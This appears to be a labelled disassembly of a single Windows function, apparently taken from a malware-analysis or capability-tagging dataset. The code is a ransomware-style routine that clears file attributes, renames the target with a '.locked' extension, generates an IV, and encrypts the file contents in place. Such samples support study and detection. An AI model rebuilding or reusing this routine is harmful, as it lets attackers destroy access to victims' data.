Function at 0x44b620
Capabilities:
Check if file exists
Get file attributes
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57b711
mov eax, dword fs:[0]
push eax
sub esp, 0x914
mov eax, dword [0x5faea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
cmp dword [esi + 0x14], 0x10
jb 0x44b65c
mov eax, dword [esi]
jmp 0x44b65e
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44b697
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_getting_file_attributes:
push 0x451e90
call fcn.00451a50
mov edx, esi
mov ecx, eax
call fcn.00451c90
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor al, al
jmp 0x44ba2c
test al, 3
je 0x44b6e3
cmp dword [esi + 0x14], 0x10
jb 0x44b6a5
mov ecx, dword [esi]
jmp 0x44b6a7
mov ecx, esi
and eax, 0xfffffffc
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x44b6e3
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_setting_file_attributes_to_remove_readonly_and_hidden:
push 0x451e90
call fcn.00451a50
mov edx, esi
mov ecx, eax
call fcn.00451c90
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor al, al
jmp 0x44ba2c
push str..locked
mov edx, esi
lea ecx, [ebp - 0x860]
call fcn.00451f10
add esp, 4
mov dword [ebp - 4], 0
lea eax, [ebp - 0x860]
cmp dword [ebp - 0x84c], 0x10
cmovae eax, dword [ebp - 0x860]
cmp dword [esi + 0x14], 0x10
jb 0x44b71b
mov esi, dword [esi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x44b74b
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_rename_original_file_to_backup_file.
push 0x451e90
call fcn.00451a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor bl, bl
jmp 0x44ba1f
push 0xc0
lea eax, [ebp - 0x920]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x860]
push eax
lea ecx, [ebp - 0x920]
call fcn.0044fcb0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x920]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x914], 6
je 0x44b7ab
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_input_file.
push 0x451e90
call fcn.00451a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor bl, bl
jmp 0x44ba08
call fcn.00452e40
mov esi, eax
mov dword [ebp - 0x848], esi
mov byte [ebp - 4], 2
test esi, esi
jne 0x44b7ca
mov edx, str.Failed_to_create_cipher_context.
jmp 0x44b905
lea eax, [ebp - 0x20]
push 0x10
push eax
call fcn.00458330
add esp, 8
cmp eax, 1
je 0x44b7e7
mov edx, str.Failed_to_generate_IV.
jmp 0x44b905
cmp dword [edi + 0x14], 0x10
jb 0x44b7ef
mov edi, dword [edi]
lea eax, [ebp - 0x20]
push eax
push edi
push 0
call fcn.0045f7f0
push eax
push esi
call fcn.00453d40
add esp, 0x14
cmp eax, 1
je 0x44b814
mov edx, str.Failed_to_initialize_encryption.
jmp 0x44b905
push 0
push 0x10
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x910]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
push 0
push 0x400
lea eax, [ebp - 0x840]
push eax
lea ecx, [ebp - 0x920]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
mov edi, dword [eax + 8]
test edi, edi
jle 0x44b8e4
nop dword [eax]
push edi
lea eax, [ebp - 0x840]
push eax
lea eax, [ebp - 0x844]
push eax
lea eax, [ebp - 0x440]
push eax
push esi
call fcn.00453da0
add esp, 0x14
cmp eax, 1
jne 0x44b924
push eax
neg edi
lea ecx, [ebp - 0x910]
mov eax, edi
cdq
push edx
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::seekp_long_long___int64___int_]
mov eax, dword [ebp - 0x844]
lea ecx, [ebp - 0x910]
cdq
push edx
push eax
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov eax, dword [ebp - 0x844]
lea ecx, [ebp - 0x920]
push 1
cdq
push edx
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
push 0
push 0x400
lea eax, [ebp - 0x840]
push eax
lea ecx, [ebp - 0x920]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
mov edi, dword [eax + 8]
test edi, edi
jg 0x44b850
lea eax, [ebp - 0x844]
push eax
lea eax, [ebp - 0x440]
push eax
push esi
call fcn.00453ae0
add esp, 0xc
cmp eax, 1
je 0x44b92b
mov edx, str.Final_encryption_error.
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x451e90
call fcn.00451a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor bl, bl
jmp 0x44b9fb
mov edx, str.Encryption_error.
jmp 0x44b905
neg edi
lea ecx, [ebp - 0x910]
push 1
mov eax, edi
cdq
push edx
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::seekp_long_long___int64___int_]
mov eax, dword [ebp - 0x844]
lea ecx, [ebp - 0x910]
cdq
push edx
push eax
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
cmp dword [ebp - 0x8bc], 0
lea edi, [ebp - 0x908]
jne 0x44b96f
xor edi, edi
jmp 0x44b997
lea ecx, [ebp - 0x908]
call fcn.004513f0
push dword [ebp - 0x8bc]
xor ecx, ecx
test al, al
cmove edi, ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor ecx, ecx
add esp, 4
test eax, eax
cmovne edi, ecx
lea ecx, [ebp - 0x908]
mov byte [ebp - 0x8c0], 0
mov byte [ebp - 0x8cb], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x5fc6f0]
mov dword [ebp - 0x8c8], eax
mov eax, dword [0x5fc6f4]
mov dword [ebp - 0x8bc], 0
mov dword [ebp - 0x8c4], eax
mov dword [ebp - 0x8d0], 0
test edi, edi
jne 0x44b9f9
mov eax, dword [ebp - 0x920]
lea ecx, [ebp - 0x920]
push edi
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov bl, 1
test esi, esi
je 0x44ba08
push esi
call fcn.00452de0
add esp, 4
lea ecx, [ebp - 0x8a8]
call fcn.0044fc00
lea ecx, [ebp - 0x8a8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x860]
call fcn.0044f9d0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00579fe8
mov esp, ebp
pop ebp
ret